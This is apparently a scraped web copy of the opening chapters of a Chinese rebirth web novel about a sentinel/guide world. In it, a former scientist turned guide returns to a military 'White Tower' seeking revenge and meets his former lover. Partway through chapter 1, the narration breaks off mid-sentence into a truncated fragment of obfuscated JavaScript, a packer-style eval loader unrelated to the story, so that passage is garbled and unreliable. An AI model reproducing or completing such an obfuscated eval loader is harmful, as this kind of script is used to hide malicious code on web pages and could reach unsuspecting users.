《猫系向导也想攻一次[重生]》 1. 第 1 章 暖色的阳光,洒落在银灰色的运输车上。 车身上没有任何标记,既无车牌,也看不出任何厂家的标志。 就连车窗,都宛如狭小的囚·室天窗般,涂着深色的防窥涂料,看不清里面的模样。 装甲运输车平缓驶入一扇铁丝门,门的两边,各站一名全副武装的持·枪守卫,在他们的背后,一座小小的两层楼高瞭望塔,俯瞰着这片无人山丘。 霍衔月坐在运输车座的后列,单手支撑着下巴,靠在方形的车窗边,看着外面发呆。 穿过重重路障,沿着黄土压成的这条大道,再往里行驶数公里,就到了世人俗称的“二号白塔”区域了。 在联邦的国内,南北各有一片狭长的无人区,紧邻污染潮频发的禁区,因此,政·府层面,在南北各设了两座特别军事基地,简称“一号白塔”和“二号白塔”。 白塔之中,聚集了大批拥有特殊能力的变异人类,他们被分成哨兵与向导,是唯一能够在污染物横行的禁区中,不受感染的特殊人种。 哨兵拥有强大的五感和身体能力,而向导深厚的精神力,则能引导和安抚哨兵狂躁的精神图景,两者共同组成了,对抗污染物的最前线—— 然而,这也仅仅是联邦军部,在明面上的说辞。 霍衔月垂下眼帘,似是昏昏欲睡,思绪飘散开。 没有想到,他竟会再次回到这里,而且这一次,是他主动选择的再次踏入白塔。 那个人,在如今的时间节点上……不也在这座白塔中服·役么。 混乱的记忆画面,伴随着相同的风景,涌上他的心间,带来浅淡的疼痛感。 他慢慢扣紧了指尖,想要控制住,自己回想起那些记忆的思绪。至少,他早已决定过,不再去在乎那些东西了。 包括那些曾经亲密无间的时刻,与最终的分道扬镳。 运输车终于到达目的地,一阵颠簸,车门自动打开。 这一整车的二十余人,都是第一次来到基地的新人向导,刚刚觉醒了精神力,甚至还未检测过等级,便被各地专门搜寻新变异人的军·方人员,劝说加入了基地。 除了霍衔月。 他在觉醒前的身份较为特殊,身为联邦科学院的首席研究员,事关一些保密等级较高的研究项目,因此,军·方在劝说他之前,先通过科学院,申请了一次单独的等级检测。 霍衔月回忆着,当时的场景。 …… “您的精神力属性,非常罕见、或者说,是绝无仅有的独一份,”那名检测员的神情,活像是中了一千万彩票似的,红光满面,“霍博士,如果您愿意加入白塔,会成为我们对抗污染潮最大的助力。” 安静的会议室中,穿着白大褂的俊美青年,戴着无边银丝眼镜,神情似乎有几分漠不关心。 门口,站着两名黑衣守卫,肩头是军部的徽章。 “我还有许多重要的工作,或许,成为一名军·人并不适合我。”青年开口答道。 检测员微微焦急道:“在白塔中,您也可以继续科研工作,我们拥有完善的实验室设施,而且除了日常的梳理工作外,向导一般不会被频繁派往禁区。” 霍衔月坐在会议桌前,看向面前的检测仪上,显示出的测试结果。 不论测多少次,结果都表明,他所拥有的精神力,如果不去在意那极其出色的强度,在属性上,几乎可以与所有登记在册的哨兵精神力相匹配。而且,模拟匹配的测试还显示,青年在潜入哨兵精神图景的时候,不会受到对方情绪的任何干扰。 也就是说,他会是一名天生的掌控者,冷淡、精密、强悍,对所有接触过那份精神力的哨兵,都能产生一种本能的致命吸引力。 他藏于白大褂口袋中的双手,轻轻握起,因紧张而有些指尖冰凉。 霍衔月听见,自己的声音开口道: “我有一个条件,如果这个条件无法获得保证,恐怕,我便无法答应这份工作。” 检测员听出了事情的转机,连忙说:“是什么条件,是有什么仪器设备、还是需要特殊的原材料?我们一定能竭力帮助达成。” 青年略浅的眸子抬起,若有所思地看了他一眼,说出的回答,却完全出乎了任何人的意料: “我唯一的要求,是不与任何一名哨兵进行永久匹配。不论是怎样的匹配度、不论是否曾接受过梳理,只有这件事,我是不会做的。 这样的条件,白塔也可以接受吗?” …… 经过减速,运输车终于停靠在一片宽阔的广场边。 粗旷的水泥地面上,尘土飞扬,巨大的显示屏伫立在广场的一端。而隔着广场外的铁丝网围栏,能够看到,里面已经站了大量的训练服哨兵与向导。 车内的二十余人,还穿着各自普通的衣服,看到外面这样的景象,都有些紧张和不知所措。 门已经打开,渐渐地,有胆子大的人,从前门走下去,四处张望着周遭环境。 在车座的后列,有人注意到,一名浅色眸子的漂亮青年,似乎仍望着窗外,没有注意到车子早已到达目的地。 路过的圆脸年轻向导,顺着对方的视线,向窗外看去——那里背对着广场,耸立着一座灰白的水泥高塔。 如刀尖般,刺入天际。 圆脸的年轻向导想提醒青年,现在该下车了,可他刚刚伸出手,正要碰到对方的肩头。 就看到,青年仿佛能够感知到自己一般,平静地转过身。 对上那双清清冷冷的眸子,圆脸的向导忽而卡壳了,下意识放轻了声音,道: “车子已经到地方了,你不下车吗?” 霍衔月注视着对方,他不认识这位圆脸的向导,不过,作为同一批的新人,互相打招呼,也是很平常和合理的。 不论如何荒唐,现在,自己的身份,就是二号白塔的新人向导。 他偏过头,露出一抹浅淡却漂亮的微笑:“谢谢。我差点就睡着了,什么都没有注意到,那我们走吧。” 向导被那笑容晃住双眼,愣了一下神,才注意到,青年已经站起身,在前面等着自己了。 他掐了一下自己的掌心,连忙小跑着跟了上去。 外面,走下了运输车的新人们,很快就看到了广场外的指引牌,跟随指示,进到了广场的划定区域内等待。 进入广场没多久,他们就从周遭的气氛,和那些哨兵向导们零星的对话中,拼凑出了如今的状况。 好巧不巧,他们赶上了每年一次的模拟大赛日期,如今白塔里人手不足,几乎都被安排去布置赛场了,就连给新人组织检测的人员,都暂时被挪走了。 而高层商议下来的结果,就是将新人先归入赛场,等结果出来了,再统一检测,还能作为辅助成绩登榜。 广场内,熙熙攘攘的训练服哨兵、向导们,看向新人的眼神,透着一股幸灾乐祸和显而易见的怜悯。 每年的模拟大赛里,都有刚进塔没多久的菜鸟被劝退,就算是训练了几个月的新人,都无法应付这种强度的对抗,更不必说,是这批才觉醒没几天的小崽子。 哨兵还好些,至少皮糙肉厚,不管受了什么伤,都暂时死不了。那些训练没几天的向导,就不太美妙了,就算在精神力等级上再怎么有天分,一上场,就连最基础的精神侦察都紧张得做不好,只会拖后腿暴露己方位置。 霍衔月站在自己所属的区域中,遥遥望去,看到另一边,也有一群穿着各色普通衣服的年轻男女,露出同样紧张不安的茫然神色。 从周遭的标识看起来,那些大约是新入塔的哨兵,也和他们一个批次,只不过,到得更早一些。 霍衔月的视线,向前望去,落在了广场的最前端。 在巨大的显示屏前面,仍有一块空地,那里分明被划出了一块区域,却还一个人都没到。 而周遭的那些训练服哨兵、向导们,不知为何,都有点怕那片区域似的,自发地离得远远的。 隐约有人低语着,那里是为“战斗部”的那群人空出的位置,没人敢靠近。 霍衔月呆呆地望着那片空地,手指不自觉地蜷起,心跳得莫名有些快。 在上辈子的记忆中,他便对白塔的各个部分,都查得了如指掌,也自然包括了变异人中最为强悍、也干着最危险任务的战斗部。 平常训练中,普通的哨向与战斗部中人,并不会有太多交集。 可在一年一度的模拟大赛中,他们却不可避免地,会在赛场上碰面。 可等他意识到,自己到底在想些什么的时候,一阵热烫的羞耻感,涌上脸颊,让他遮挡在短发下的耳尖,隐隐有些泛红。 谁又会认得自己呢? 就算真的撞见了那个人,在如今的这个时间节点,对方也不可能认识自己,更不可能再产生更多交集。 他不是为了隗溯,才回到这座二号白塔的。 在这片无人区基地,没有一个人会认识自己。而自己是重生的这件事,和脑袋里所装着的上辈子记忆一起,是只有自己才知晓的秘密。 那记忆中,甚至包含了白塔和禁区内,所藏着的那份阴谋。 他是为了复仇,才回到这里的。 广场四周的喇叭中,发出一阵电流声。 滋啦,在试音结束后,一道浑厚沙哑的陌生男声传来: 【今天,白塔哨兵、向导们齐聚于此,是为了一年一度的模拟大赛,也是为了选拔出最强悍的战士,来抵御和击溃污染潮。】 广场四周,爆发出一阵高亢的口哨和起哄声,一浪高过一浪,宛如波涛怒吼。 不少新人哨兵、向导,被那些人骤然发出的声响和推搡,吓得缩起了身子,让自己的存在感降得更低。 电喇叭中声调一转,严肃道: 【但在说明大赛的规则前,有一件事情必须宣布——】 广场前端,巨大的显示屏亮起,显示屏上,一团晶莹蠕动的半透明生物体,张开针尖般的放射状触手,扭曲挣扎着。 在“它”受到了热武器的攻击后,忽而,半透明的凝胶状身体炸开,从中刺出无数道红色的尖锐骨刺,快得几乎看不清其动作。 拍摄的镜头似乎被攻击了,在一声模糊的尖叫后,立刻变成了雪花屏。 整片广场上,在看到如此近距离呈现的惨状后,所有骚动的哨兵、向导都陷入了沉默。 不论是上过最前线的战士,还是仍在训练中的新兵,都被这样直观而扭曲的画面,一时间震住了。 电喇叭的声音继续响起: 【我们的前线研究员发现,在人类与污染物抗争的漫长年岁中,污染物的形态,正在发生进化,变得更难以杀死,且感染性更强。】 【因此,增强我们自身的实力、扩大变异人类的搜寻范围、更好地从实战中进行选拔,就变得更加紧迫。】 霍衔月盯着那显示屏上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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进出禁区那么多次,不知道精神彻底发狂、和死亡哪一个会先到来,简直已经无人可以约束。 那伙人里,甚至还有一对双子向导,拿精神力当作攻击方式,疯起来比谁都不要命。 “战斗部”的哨向,终于卡着说明规则的时间点,到场了。 而广场上方的电喇叭中,正讲到赛中合作的事项: 【任意哨兵与向导,都被鼓励,互相结成小组,在经过赛前登记的前提下,共同参与大赛。】 “啊,小心!”忽然,霍衔月听到身侧,有人小声呼道。 他朝着声音的方向,转身而去,却刚好,被后方走动的一名训练服哨兵,给撞上了脊背。 “唔。” 霍衔月一时失去平衡,靠在了距离他最近的,那名圆脸向导的肩头。 他忙稳住身子,抱歉道:“我走神了,你没有受伤吧?” 年轻向导连连摆手,脸上带着满不在乎的神色,反倒有些兴奋道:“你听到刚才的规则了吗,哨兵和向导可以结组一起参加,你准备找谁吗?” 然而,霍衔月还未来得及说什么,不远处,传来一阵突如其来的骚动。 广场内,不知是谁惊呼了一声,人群自动自觉地分开了一条通路。 杂乱的脚步声传来。 霍衔月下意识回过头,猝不及防地,对上了一双漆黑如雾的眼瞳。 在人群之中,他一下子就能捕捉到,是谁在注视着他。这或许是因为,他对那双眼睛太过熟悉了,熟悉到日夜都可以回想起。 可那里面,又似乎有些和从前不一样的东西,令人看不明白。 时间只过去瞬息。 霍衔月呆住了半秒,便匆忙扭过头去,准备对身旁的同伴说点什么,来糊弄过去。 然而,下一刻,他的手腕被人骤然握住。 那力气,几乎要将他掐疼,让人忘记了挣脱,站在原地,失去了言语。 他被迫转过身,与来到面前的那道身影,面对面靠近。 仍然是凌厉冷峻的容貌。 过去,那个人从未对他露出过生气的表情。就算是在两人分手的那时候,隗溯也只是变得更加沉默寡言而冰冷,如同一尊随时会沉入海底的雕像。 可是现在,霍衔月却仿佛能看到,那张脸庞背后,近乎喷涌而出的炽热情绪,和某种说不清道不明的害怕。 那时,在和自己相遇之前的S级哨兵隗溯,是这样的吗? 霍衔月慢慢垂下眼帘,挣动了一下手腕,声音竟异常的平静:“放开我,我不记得自己认识你。” 在一旁,圆脸向导和其他旁观之人,都瞪大了眼睛,露出惊恐和担忧的神情,怕这个脑袋别裤腰带上的战斗疯子,不知发什么狂,就会伤到青年。 隗溯仍穿着战斗部的黑色紧身上衣,搭配防辐射的机能裤,脚下踩着隐约可见血迹的军靴。 他僵立在那里,张开口,似乎在与体内那股炽热的熔岩,做着毫无希望的殊死缠斗。 霍衔月的思绪飘散,想到了禁区,想到了那些污染物的图像和样本。 他是为了复仇,才回到这座白塔的。 如果能够忘记,他宁可抹去有关这里的一切记忆。可命运,却好像对他开了一个玩笑,让他重生一世,觉醒为了一名特殊向导。 他所想要得到的东西,似乎离他更近了,只要伸出手,就能够触碰…… 霍衔月想要一个没有哨兵与向导、污染物与禁区的世界,他憎恶着变异人的所有一切。 甚至,也包括如今的自己。 终于,那道声音,挣扎出了炽热的泥潭,嗓音微哑而有些紧绷,说出了谁都没有预料到的台词。 隗溯的神色压抑,仍不敢松开手,那对黑色的眼瞳中,是过分认真执拗的神情: “和我,一组。可以吗?” 2. 第 2 章 霍衔月的头脑中嗡声作响,没有办法,消化这句话的含义。 在初次入塔的模拟大赛说明会上,所有人都畏惧着的“战斗部”哨兵,就向自己一名新人,提出了组队的邀请? 不论在谁看起来,都过分荒谬,显然不怀着什么好意。 难道说,会有人只凭这么匆匆的一面,就认定,对方是自己的适配向导吗? 霍衔月似是被自己这念头,刺痛了心神,露出一抹浅淡的笑容,回答道: “抱歉,我暂时没有和任何人组队的想法。如果可以,我希望能独自参加模拟大赛。” 身侧,圆脸的年轻向导,终于反应过来,发生了什么事。 他震惊地伸手,拉住了霍衔月的薄风衣袖口,难以置信道:“你准备第一次参加大赛,就单独报名参加吗?” 别说一名向导自己参赛了,就连新入塔的哨兵,都不敢在没有搭档的情况下,独自踏入赛场的险地。 圆脸向导猛地转过头去,愤愤地盯着,那位没有礼貌的高等级哨兵。 脸上的表情,明明白白就说着,是因为“战斗部”哨兵的无礼举止,霍衔月才会被迫,说出这种婉拒的借口。 就在三人拉扯作一团,僵持不下之际,在众人的身后,其他战斗部的成员也终于走了上来。 霍衔月的左腕还被牢牢地握着,右手风衣的袖口,被轻轻拉扯住,窘迫无比地夹在两人中间。 他看到,在紧绷着的黑发哨兵背后,两名披着白色运动外套的双胞胎,漫不经心地看着四周围观的其他人,走上前来。 而一名跳脱的金棕色短发色男子,从不知哪个角落冒出头来,一手搭在了隗溯的肩膀上,挤上前来道: “嗯?发生了什么,怎么你也开始强抢向导了,这可不是S级哨兵该做的举动。你的名字叫什么,你可以看看我,我可比这种战斗狂好多了。” 后面那句话,是对着霍衔月说的。 那名金发男子的眼睛,仔细一看,竟有几分像狮子的黑金色瞳孔。而只有那种,受到精神体侵蚀严重的哨兵、向导,才会呈现出这种明显动物类的外表。 说明,这名哨兵的精神体,大约是狮子一类的品种。 而且,由于过度使用能力,他距离精神暴乱的临界值,已经不远了。 霍衔月能感觉到,在金发哨兵靠近后,隗溯的精神似乎变得更为紧绷,漆黑如雾的眸子,冷冰冰地瞥过金发哨兵的那只手。 浓浓的敌意,近乎一触即发。 而其他几名战斗部的哨向,丝毫也没有阻拦的意思。 就在霍衔月以为,两人会挑起冲突、无法善了的时候,他感觉到,方才还死死握着自己左腕的那只手,终于一点点松懈下力气,放开了手。 隗溯微微后退一步,脸上的神情,夹杂着后悔和一种看不清的情绪。 他闭了闭眼,仿佛终于,整理好了自己那混乱的心绪,再次抬头的时候,语调平静沉着了许多: “不要担忧,我没有强制的意思,只不过,如果你仍然在考虑与人同组,你可以尽情使用我。不论什么时候,改变想法都可以。” 金发哨兵愣住,张大了嘴巴,从隗溯身后退开,震惊道:“你真的要和新人组队,隗溯?你不是从来都是一个人行动的吗?” 在他背后,其他战斗部的哨向们,虽不开口,但都没有反驳他的说辞。 霍衔月被那些人盯着,有些不太自在的感觉,就好像被人将自己的名字,与隗溯并排摆放。 而更糟糕的是,就连他自己,都无法坚定地做出否认。 他只是伸手,不动声色地拉下了右手袖口,圆脸向导的那只手,嗓音有些低颤道: “我还没有考虑好,对不起。” 圆脸向导的手中空了,他担忧地看向两边,心事重重。 而这时,金发哨兵终于意识到,到底发生怎么一回事了。 也就是说,他们战斗部的头号孤狼,对新人向导一见钟情了。又是冲动行事,又是不要钱白给的模样。 他内心简直有些无奈,笑了起来,走到了圆脸小向导的那边,爽朗开口道: “这有什么稀奇。我们战斗部的人都厮杀惯了,这一次,白塔的新进向导、哨兵,倒霉地碰上了模拟大赛的日子,我们本该站出来一次,负责保护新人。” 他看到,隗溯用冷淡的眼神,望了过来,只得继续给自己找补道: “更何况,我们路上都听见了,禁区的污染物升级变强了。如果再不合作,说不定我们变异人,就要打不过污染潮了呢?” 一旁的双子向导,听到了这句话,露出微微鄙夷的神情,看向这个说话没个靠谱的超A级哨兵。 可这样的说辞,多少打动了一些周围的新人哨兵、向导,让那些原本对战斗部怀着本能害怕的变异人,也放松活跃了些。 圆脸的向导望向霍衔月,低声道:“他们说的也没错。不论是禁区还是模拟大赛,都很危险,你难道……” 霍衔月犹豫着抬起头,不小心,正与隗溯视线相撞。 他仿佛被烫到一般,立刻移开了目光。 其实,霍衔月知道,方才金发哨兵的那一番话,已经让不少新人哨兵、向导,产生了合作的念头。 事到如今,自己已经没有办法,再这么强硬地,拒绝考虑这件事了。 广场上,这一番骚动渐渐止息,电喇叭中的规则说明,终于讲完了合作的事项。 喇叭的电流声,微微流过,语调一转,便开始说明大赛更核心的规则: 【众所周知,我们真正的敌人,是禁区之中难以捉摸的污染潮。】 【它们的起源和行动轨迹,仍不为我们所知,但哨兵强大的五感和向导的精神力侦察,能帮助我们搜寻污染潮,进而击溃它们。】 【因此,以培养强大的变异人战士,作为目标的模拟大赛,会通过抽签,人为地将参加者,划分为“人类方”与“鬼方”。通过白塔特制的精神力模拟器,我们可以隐藏每位参加者的精神力属性和真实身份,来对禁区战场进行模拟。】 【精神力模拟器被破坏,真实身份暴露,即为淘汰。】 【淘汰对方阵营的一人,即获得10分。大赛将进行到一方全灭为止,胜方最后的存活者,每人可加300分。】 【最后排名的前50名,可以自主选择希望加入的部队——不论是成为拼杀于禁地的战斗部顶尖精英,还是进入内塔高层,为联邦而服务,都是各位的自由。】 【其余所有参加者,军部则会根据排名与成绩,进行岗位的重新分配。】 【为了联邦与人类的未来,请全力以赴——】 广场之上,巨大的显示屏再次亮起,这一次,出现了一名坚毅的疤痕男子的半身像,身穿庄重肃穆的军装,那双高高的眼睛,望向所有人。 疤痕男子的那张口开合着,正是电喇叭之中,宣读规则的声音。 另一边。 遥望着广场的水泥高塔之上。 正摆放着数台监控,操作着广场上发生一切的会客厅内,预先录制好视频的疤痕男子,坐在一架皮沙发上。 他仍穿着那套漂亮的军装,胸口闪亮亮地挂着一串的徽章,宛如昂贵的宝石匣子。 在他身后站着的,如果霍衔月在这里,便能立刻认出,这便是为他测量精神力的,那名 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如今画面的中央,是那名引发了骚动的向导。 他对这向导,隐约有些模糊的印象,似乎正是……那个来自科学院的人,顺口问道: “对了,那位向导怎么样?” 胖检测员露出了奇怪的神情,脸部有些拥挤地扭在一起,努力思索道:“仪器上,暂时还查不清楚,对方特殊的精神力,究竟是如何形成的、又到底能做到什么。” 军装男子微微皱眉,上身离开了沙发椅背,迷茫地盯着发光的显示器画面。 到底是哪里蹊跷?他说不上来,可似乎,又不止是一个稍微特别的变异人而已。 他伸手捏住了雪茄,低声道:“让你的那个人,继续盯着些吧。” 广场之上。 电喇叭的宣讲,已来到了尾声。 距离开赛,还有最后的三天,这三天内,参加者有机会去寻找搭档,并向白塔进行登记。 三天后的清晨六点整,就是正式进行抽签,进入大赛场地的时候。 霍衔月和那些新人向导、哨兵们,不知何时,便和战斗部的那群人,站在了一块,互换了姓名和宿舍编号。 不论如何荒唐,看来,既然金发哨兵作出了邀请,那么自己这边,就很难再彻底拒绝,分割开关系了。 只是…… 霍衔月抬头,看到其他人已经开始散场了,新人哨向还没有登记完宿舍,因此,有工作人员正引导新人们,领取物资包裹,并分批前往宿舍区。 那批战斗部的哨兵、向导们,正挥手向他们打招呼道别,甚至还有人和那位年轻的圆脸向导,套上了近乎,不知在向人打听着什么消息。 霍衔月回头看了一眼,晶亮透蓝的天际下,那座突兀的灰白高铁,便准备跟上众人的队伍。 忽然,他手上抱着的训练服包裹上,一片无声的阴影笼了过来,多了一枚漆黑的军用通讯器。 霍衔月诧异地抬起头,看到不知何时,隗溯离开了他的队伍,默不作声地堵在了他的面前。 “通讯器?”青年下意识询问了出声,没有理解这是什么意思。 他没有落下什么新人物资,通讯器也并不包括在平常军人的随身装备内。 隗溯紧抿着唇,似乎要说出接下来的话语,有些艰难。可他那双黑沉的眸子,仍一眨不眨地盯着青年,仿佛要说出的话语,早已太多,而失去了音节。 然而,他最终,只是极其简短地道: “在白塔和周围无人区内,不论什么时候,它内设的频道,都能立刻联系到我。” 3. 第 3 章 霍衔月愣住了片刻,才意识到,对方是希望,自己能用这件东西来联系他。 可是,自己有什么样的理由,去联系一名不会再产生任何交集的S级哨兵呢? 他伸出手,调整着包裹的位置,想将通讯器还回去。 但不等霍衔月的动作做完,黑发黑眸的哨兵便转身,小跑着回到他的队伍中去了。 不留给青年一点拒绝的机会。 当天午后。 霍衔月终于收拾完了宿舍的行李,跟随众人一起,前往训练场加急特训。 由于这些天是模拟大赛的日子,白塔中日常的训练任务,都已经暂停。训练场变成了各种哨兵、向导们,自由加训的场合。 而这片区域,又是塔里为了给予新人喘息的空间,特别划出的空间,开放给新人哨向。 因此,往日里熙熙攘攘的准备室里,此刻显得有几分空闲了。 圆脸的年轻向导秦眠从门口,向里张望了一眼,喊道:“我先去一号训练场了,到那里等你。” 霍衔月关上储物柜,回头应答了声,才意识到,自己似乎花了太长时间,准备室里,其他人几乎已经都走完了。 他看着柜门上,小小的方形镜面中,自己的倒影,停住了脚步。 上一世,他的瞳色,并没有那么的浅淡,宛如剔透的冰面,或是无波的湖水。 是这辈子,死而复生,觉醒成向导后,才慢慢显露出的变化。 霍衔月想起了那名战斗部哨兵的金发和黑金眼瞳。其他的变异人,一定也多多少少,因为这份特殊的体质,而产生了某些微小的变化。 可是,令霍衔月感到莫名在意的,是上辈子,在白塔中,他从不曾见过那几名战斗部的哨兵、向导。不论是金发哨兵,还是双生子向导,还是其他。 如果隗溯与他们一直同属于一个地方,那么,自己没道理不曾遇见过他们。那些身体特征,是十分明显好记的。 除非,后来的战斗部成员,与现在的这些成员,除了隗溯外,几乎全部大换血了。 究竟发生了什么……而隗溯,是否也曾遇到了某些事情? 霍衔月的指尖不自觉地,按在胸口处的口袋位置。 他最终,还是没有把通讯器,留在储物柜里。 忽然,他听到准备室外,似乎隐约,有一声极轻的落锁声。 霍衔月猛地转过身来,便发现了连排的储物柜背后,有三双陌生的军靴,正悠悠靠近。 现在这个时间点,这间准备室,应该只有新人向导使用,怎么会有不属于他们的哨兵靠近? 他脊背贴着柜门,沉默地看着不远处的连排储物柜后,走出三张陌生的、冰冷的面孔。 这时候,若是他还意识不到,自己是被人专门盯上了,那就实在太过迟钝了。 霍衔月穿着新人向导的训练服,身边,除了便携式精神力检测环,这种用于训练的设备外,没有任何防身的东西。 在上午领的包裹中,也有军用匕·首一类的冷兵器。 然而,对于新手来说,比起临阵磨枪练这些,还不如去训练场中,多试试模拟大赛提供的枪·械、热武器。 虽然那并不是真枪实弹,只能起到一定的冲击效果,但仍然是对新手哨向,最友好的攻击方式。 因此,霍衔月他们没有带上任何防身武器,而是准备到训练场,再去练枪·械和精神力感知。 准备室内,午后的浅淡日光洒落。 青年终于看清楚了,那三人胸口的队服标签。 和他猜想的很接近,这三名哨兵,应当是属于塔里的老人。 看等级,大约是够不上A级的C+或B级。 然而,对于普通的向导而言,不论两方是怎样的等级,他们和哨兵间,仍然有着巨大的体能上的差距,宛如不可逾越的天堑。 霍衔月的脸上,露出显而易见的紧张神色,向后靠去。 那三名哨兵的手上,也没有拿任何明显的武器,可现在这个时间点,在一间可能已经上锁的密闭准备室中,显然来者不善。 中间那人走上前了一步,捏着自己的左手关节,神情冷冰冰的: “方才在广场上,出尽了风头的,是你?” 霍衔月盯着面前的三人,悄悄伸出精神力的探知,确认着这间准备室外,还有没有其他的哨向,或是这些人的同伙。 只要没有目击者,那么,接下来这里不论发生了什么,都不会留下证据。 而显然,那三人也是这样的想的。 中间的那名哨兵,见浅色眸子的青年,没做任何的回答,也不觉惊讶,冷哼着抬起左拳: “新觉醒的向导,年轻气盛,因此,觉得自己可以依靠着战斗部那群疯子,在白塔过上好日子,对不?” 霍衔月探查明白了,此刻,外面的哨向,都聚集在训练场范围内,而门外,也没有这三人的同伴蹲守。 准备室因为能够当作更衣室使用,所以,没有安装监控摄像头。 选择这种时机,专门前来针对他一名新入塔的向导,咋一看来,似乎只是因为长年的旧怨,看不惯战斗部的哨向们出尽风头。 霍衔月微微垂下眸子,神情冷肃了些。 然而,即使这三人,当真只是出于私人恩怨,一时上头想给自己、给战斗部那些人,一些教训和苦头吃。 可是事后,白塔仍然可以,从这起“小小的私人冲突”中,摸清自己精神力的特质。 霍衔月想起上一世的死前。 当他因为人为制造的“事故”,从终年风雪的北极冰原,跌落深渊,意外见到了裂谷之下的一切。 他才意识到,污染物的起源,与白塔之间千丝万缕的联系。 那件能够改变这个世界的东西,其中的一部分碎片,便藏身于“二号白塔”基地,守护最严密的内塔某处。 自己原本的计划,是通过模拟大赛、或其他的成绩选拔方式,成为首席向导,进入内塔高层,借机偷取那件碎片。 可今天发生的这一切。 不论是折损率过高的战斗部哨向,还是如今,出现在准备室中,目的不明的试探者。 都让霍衔月意识到,自己原本的计划,似乎,太过于克制保守、温和友好了。 浅色眼瞳的青年,露出一抹极浅淡却漂亮的微笑,凝视着缓步靠近的哨兵们。 那三人微微愣住,还没有意识到,究竟发生了什么。 在他们的眼前,层层叠叠的连排储物柜间,那名年轻向导的身影,就突兀消失了—— …… 一间门窗紧闭的昏暗房间内。 空空荡荡,唯一称得上是像样家具的,仅有一架铁皮单人床。 隗溯坐在单人床沿,上半身脱去了那件战斗部的紧身上衣,他抬起左臂,一点点拆开上臂的薄绷带。 特殊材质的白色布料,能在维持肌肉形状的前提下,最大限度地隐藏自身的痕迹,让人难以在衣物的覆盖下,发现绷带的边缘。 而在那条左臂之上,绷带散落,诡异扭曲的藤蔓状起伏,宛如邪恶古神的肢干,狰狞、带着不详的意味。 黑暗之中,高等级哨兵的绝佳视力,仍可以让他,对眼前的一切看得清清楚楚。 隗溯漠然看着左臂上的异化,仿佛在称量一块用于下厨的肉类,仔细地预估着,它扩散所需的时间。 他从没有想过,在世界重启后,霍衔月竟会意外觉醒成向导,还再一次,陷入了白塔这样凶险的地方。 漆黑眸子的哨兵,死死地盯着手臂上,那道可怖的异化起伏,似乎在憎恶着邪恶的神明,在它收取了一份代价后,竟冷不丁地,还要去夺取他最在乎的东西。 隗溯的胸膛起伏,将绷带再次层层缠紧,用衣物遮起。 他站起身,下意识抬手,把指尖放在门把上,却僵硬住了身躯。 自己又准备这样,毫不知廉耻地黏上对方。就算被拒绝了,仍控制不住藏在阴暗的角落,注视着对方的一举一动,难以自制。 他不知道,自己该如何去伪装与克制,才不会让那个人所讨厌。 握着冰冷的铁质门把手,隗溯忽而笑出了声。 可他早在上一世,很久以前,就已经失去了被喜欢的资格,不是么? 就算明知道,自己永远只能这样躲躲藏藏,从远处,默默守着那道身影,而不被接纳,他也仍然会这么做。 黑发哨兵推开门,朝一号训练场的方向而去。 …… 训练场后 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就好像,青年完全明白,这名高大哨兵最后的下场,会和他的那两名同伴一样—— 用自己手上的铁棍,给予自己,最后的那一击。 一个猛冲,霍衔月看见,那名哨兵用力地向前挥动铁棍,将储物柜砸出了一个巨大的凹坑。 因为这些动静,最后的一排储物柜已经摇摇欲坠了。 他明白,差不多到收尾的时候了,再不结束,或许该引起什么注意了。 霍衔月站起身来,控制着自己深入那名哨兵脑内的精神力,开始创造最后的场景。 让这几人吃点苦头,并不是他的目的。 他真正想要的,是搅乱这一潭水,看看背后之人,会有什么样的反应。 如果能多派几名有用的哨向,对他的计划,还更有帮助些。 霍衔月的精神力触手,随着虚假场景的创造,就如同对待之前那两人一般,将一枚带有自己精神力的种子,埋入了对面哨兵的精神图景之中。 这种对精神力的使用方法,就仿佛自从他一开始觉醒成为向导,就自然而然,随着他的思考,而找到了合适的做法。 或者说,有时,他会觉得,这是他在上辈子死前,坠入那片冰原裂谷之下,看到“遗迹”的模样之后,便自然理解了的知识。 随着埋入自己的精神力种子,在那些人的精神图景中,就仿佛多了一只眼睛。 霍衔月能通过它,看到、甚至操纵对方的一切。 他走上前,定定地凝视着那名哨兵的眼睛,试图透过重重的迷雾,去看清,对方脑海中所拥有的那份记忆。 埋入种子虽快,可要实际读取记忆,却仍是一件耗费时间的工程,尤其,是在不进行肢体触碰的情况下。 霍衔月感到有些可惜,今天短短的一小会儿时间,不足以令他去尝试更多的用法了。 他正准备抽身离远一些,忽然,那名高大哨兵,似乎被什么画面刺激到,猛地举起铁棍,满脸怒容。 霍衔月微微皱眉,迅速转身离开,可动作之间,胸口处的通讯器,却被破损的柜门撞到,从口袋中滑落。 那一瞬,他的脑海中,炸开了许多混乱的念头,有懊恼,有后悔,也有几分说不清的羞耻和担忧。 他怎么就把这样东西,随身带在胸前口袋了? 要是真的被误触,就这样拨通了,隗溯又会怎么看待自己? 霍衔月一瞬之间,转过了许多念头,他甚至还想到,就算对方真的收到信号,赶了过来,说不定那时,自己早已经解决完这件事,离开现场,就可以用不小心误触,来糊弄过去了。 可是下一刻,他就明白,那全只是侥幸。 准备室的门口方向,猛地传来一声巨大的暴响声,远远地,便能听到门板倒塌的声音。 而从霍衔月胸口滑落的通讯器,也正好撞上了地面,被按下了传讯按钮。 通讯器另一端的滴滴声,从门口冲进来的,黑发黑眸哨兵口袋里,清晰传了过来。 青年半跪在地上,右手还做着一个“捡东西”的动作,回过头来,便看到熟悉的那张脸庞上,是前所未有的暴怒神情。 4. 第 4 章 隗溯的动作,几乎快得令人眼睛捕捉不到。 在黑发哨兵冲进准备室之时,霍衔月就骤然冷静了下来,意识到,现在的这幅场面,实在是太容易让人误会。 不论怎么看,都像是他被三名凶狠的哨兵,堵在了密闭空间里,似乎遭到了欺·辱。 虽然实际上,霍衔月身上没有任何伤痕,就连头发丝,都没有乱。 除了那只该死的通讯器,让他手忙脚乱,狼狈地陷入了如此窘境。 可是,如果隗溯看到这样的场面,误以为,他曾发出过邀请的向导,被其他哨兵盯上了,遭到威胁和伤害,因此一时冲动,而做出过激的行为。 毕竟,哨兵这样的物种,就是格外容易情绪上头。尤其是,精神图景没有得到彻底梳理的高等级哨兵,更容易受极端情绪的影响。 霍衔月虽然想给那三人一点教训,顺便埋下种子,钓出他们背后的家伙。 然而,他却绝不希望,隗溯会因为自己的这件事,而失手杀了任何人。 